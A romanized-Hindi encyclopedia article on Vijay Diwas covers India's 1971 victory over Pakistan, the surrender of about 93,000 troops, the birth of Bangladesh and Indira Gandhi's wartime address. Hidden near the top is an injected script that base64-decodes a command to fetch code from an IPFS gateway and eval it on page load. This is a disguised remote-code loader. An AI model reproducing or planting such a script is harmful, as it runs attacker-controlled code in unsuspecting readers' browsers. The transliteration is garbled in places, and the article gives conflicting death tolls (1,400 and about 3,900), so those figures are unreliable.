विजय दिवस (16 दिसम्बर)

chitr:Disamb2.jpg vijay divas

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- vijay divas (bahuvikalpi)

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vijay divas (16 disambar)
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vivaran	'vijay divas' san 1971 ke yuddh mean pakistan par bharat ki vijay ke upalakshy mean manaya jata hai. pakistani seny pramukh janaral e.e. khan niyazi ne 93,000 sainikoan ke sath bharatiy sena aur baangladesh ke mukti bahani ke samane atmasamarpan kiya tha.
desh	bharat
tithi	16 disanbar
sanbandhit lekh	iandira gaandhi, saim manekash aau, jagajit sianh aro da
any janakari	16 disanbar, 1971 ko baangladesh ka ek ne rashtr ke roop mean janm hua aur poorvi pakistan, pakistan se ajad ho gaya. ye yuddh bharat ke lie aitihasik yuddh mana jata hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>vijay divas (aangrezi: Vijay Diwas) bharat mean har sal 16 disanbar ko manaya jata hai. 3 disanbar, 1971 ko bharat aur pakistan ke bich yuddh ki shuruat huee, jo 13 dinoan tak chala aur 16 disanbar ko adhikarik roop se samapt ho gaya. is yuddh ke bad pakistani sena ne bharatiy sashastr baloan ke samane atmasamarpan kar diya. pakistani sena ke pramukh janaral e.e. khan niyazi ne 93,000 sainikoan ke sath bharatiy sena aur baangladesh ke mukti bahani ke samane atmasamarpan kiya. bharatiy sena ki isi kamayabi ko prativarsh vijay divas ke roop mean manaya jata hai.

mahattv

har sal 16 disanbar ko vijay divas ya viktari de ke roop mean manaya jata hai. is din rashtr ke un sainikoan ko shraddhaanjali di jati hai. jinhoanne is yuddh mean apane desh ke lie apane pranoan ki ahuti de di thi. ek aur tathy yah hai ki is din baangladesh ka janm hua tha. isalie, baangladesh har sal 16 disanbar ko apana svatantrata divas manata hai. desh bhar mean vijay divas par shahidoan ko shraddhaanjali arpit ki jati hai. desh ki rajadhani nee dilli mean, bharatiy raksha mantri aur bharatiy sashastr baloan ke tinoan viangs ke pramukh, nee dilli mean iandiya get par amar javan jyoti par shraddhaanjali arpit karate haian. jisaka nirman 1971 mean bharatiy jit ki or se kiya gaya tha.

itihas

san 1971 se pahale, baangladesh pakistan ka ek hissa tha, jise 'poorvi pakistan' kaha jata tha. riportoan mean dava kiya gaya tha ki 'poorvi pakistan' ke logoan ko pakistani sena mara pita karati thi, unaka shoshan karati thi, auratoan ke sath balatkar kiya karati thi aur vahaan ke logoan ko nirmam hatya karati thi. bharat ne 'poorvi pakistan' mean pakistani sena ke dvara logoan ke utpi dan ka virodh kiya aur poorvi pakistan ke logoan ka samarthan kiya. us samay 'poorvi pakistan' mean pakistan ke sainy adhikari janaral ayoob khan ke khilaph bhari asantosh tha.

3 disanbar ko pakistan ne 11 bharatiy havaee kshetroan par hamala kar diya tha. jisake javab mean bharat ne pakistan ke poorvi aur pashchimi kshetroan par hamala kar diya. isake bad bharat sarakar ne 'poorvi pakistan' ke logoan ko bachane ke lie bharatiy sena ko pakistan ke khilaph yuddh ka adesh de diya. bharat ki aur se is yuddh ka netritv phild marshal manekash aau kar rahe the. pakistan ke sath is yuddh mean bharat ke 1400 se adhik sainik shahid ho ge. is yuddh ko bharatiy sainikoan ne poori bahaduri ke sath l da aur pakistani sainikoan ki ek bhi n chalane di. is yuddh mean pakistan ko bhari nukasan hua. jisake bad yah yuddh sirph matr 13 dinoan mean hi samapt ho gaya. isake bad 16 disanbar 1971 ko pakistani sena ke pramukh janaral e.e. khan niyazi ne lagabhag 93,000 sainikoan ke sath bharat ke samane samarpan kar diya. isi karan se har sal 16 disanbar ko vijay divas ke roop mean manaya jata hai aur har sal bharat ke pradhanamantri ke sath hi poora desh bharat ke un vir sainikoan ko shrridaanjali deta hai. jinhoanne is yuddh desh ke lie apane pranoan ka balidan diya tha.

apratyaksh roop se is yuddh mean amarika aur soviyat sangh donoan mahashaktiyaan shamil huee thian. ye sab dekhate hue 14 disanbar ko bharatiy sena ne dhaka mean pakistan ke gavarnar ke ghar par hamala kiya. us samay pakistan ke sabhi b de adhikari mitiang karane ke lie ikatta hue the. is hamale se pakistan hil gaya aur janaral niyaji ne yuddh viram ka prastav bhej diya. parinamasvaroop 16 disanbar, 1971 ko dopahar ke takariban 2:30 baje sareandar ki prakriya shuroo huee aur us samay lagabhag 93,000 pakistani sena ne atmasamarpan kiya tha.

is prakar 16 disanbar, 1971 ko baangladesh ka ek ne rashtr ke roop mean janm hua aur poorvi pakistan, pakistan se ajad ho gaya. ye yuddh bharat ke lie aitihasik yuddh mana jata hai. isilie deshabhar mean bharat ki pakistan par jit ke upalaksh mean 16 disanbar ko 'vijay divas' ke roop mean manaya jata hai. aisa kaha jata hai ki varsh 1971 ke yuddh mean takariban 3,900 bharatiy sainik shahid ho ge the aur lagabhag 9,851 ghayal hue the.

iandira gaandhi ka sanbodhan

thumb|250px|iandira gaandhi bharat aur pakistan ke bich 1971 mean hue yuddh ke 50 sal (2021 mean) poore ho rahe haian. is yuddh ne ek ne mulk baangladesh ko janm diya tha aur pakistan ke itihas mean karari har ke taur par 16 disanbar ka din darj ho gaya. yooan to yah jang pakistan ke pashchim aur poorvi hisse ke bich chal rahi thi, lekin pak ki or se is dauran bharat par bhi havaee hamale kie ge. isake javab mean 3 disanbar, 1971 se bharat bhi is yuddh mean kooda aur pashchim se lekar poorv tak mean pak sena par joradar hamala bola. tinoan senaean is yuddh mean sakriy hueean aur aant mean 16 disanbar, 1971 ko 93 hajar pak sainikoan ke sareandar ke sath jang ko jita. yahi nahian, p dos mean ek ne mulk baangladesh ka bhi uday hua. is yuddh ki shuruat se pahale tatkalin pradhanamantri iandira gaandhi ne rashtr ke nam sandesh jari kiya tha.

adhi rat ko desh ke nam sanbodhan karate hue iandira gaandhi ne kaha, 'maian ap sabhi se aise vakt mean bat kar rahi hooan, jab desh aur hamare log ek b di apada se gujar rahe haian. kuchh ghantoan pahale hi 5:30 baje sham ko pakistan ne hamare khilaph poorn yuddh ki shuruat kar di hai. pakistan eyaraphors ne achanak hamare amritasar, pathanakot, shrinagar, avantipur, uttaralaee, jodhapur, aanbala aur agara eyaraphilds par hamale kie haian. isake alava unaki thal sena sulemanakhi, khemakaran, puanchh aur any sektars mean golibari kar rahi hai.'

jang ke alava koee vikalp nahian

iandira gaandhi ne kaha, 'pichhale sal march se hi ham poori duniya se is masale ke shaantipoorn samadhan ki apil kar rahe haian. hamari yahi maang hai ki un logoan ke adhikar die jaean, jo sirph lokatantr mean apani upasthiti chahate haian. unaka itana hi aparadh hai ki unhoanne lokataantrik tarike se vot kiya tha.' is mauke par iandira gaandhi ne saph taur par kaha, ... aj baangladesh mean chal raha yuddh bharat ka yuddh ban gaya hai. yah yuddh mujh par, meri sarakar aur desh ke logoan par thopa gaya hai. hamare pas desh ko yuddh mean le jane ke alava koee vikalp nahian bacha hai. hamare bahadur aphasar aur sainik chaukiyoan par haian aur desh ki raksha ko age badh rahe haian. poore desh mean apatakal ghoshit kiya jata hai. har jaroori kadam uthaya ja raha hai aur ham kisi bhi chij ke lie taiyar haian.'

iandiraji ki apil

is mauke par unhoanne deshavasiyoan se bhi kuchh apil ki thi. iandira gaandhi ne kaha, '...hamean lanbe samay tak sangharsh aur tyag ke lie taiyar rahana hoga. ham shaanti pasand log haian, lekin ham janate haian ki jab tak ap apani svatantrata, lokatantr aur jiandagi ki suraksha nahian kar pate, tab tak shaanti nahian rah sakati. isalie aj hamean n sirph apani akhandata ke lie l dana hai balki apane desh ke moolabhoot adarshoan ko majabooti dene ke lie l dana hai.'

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

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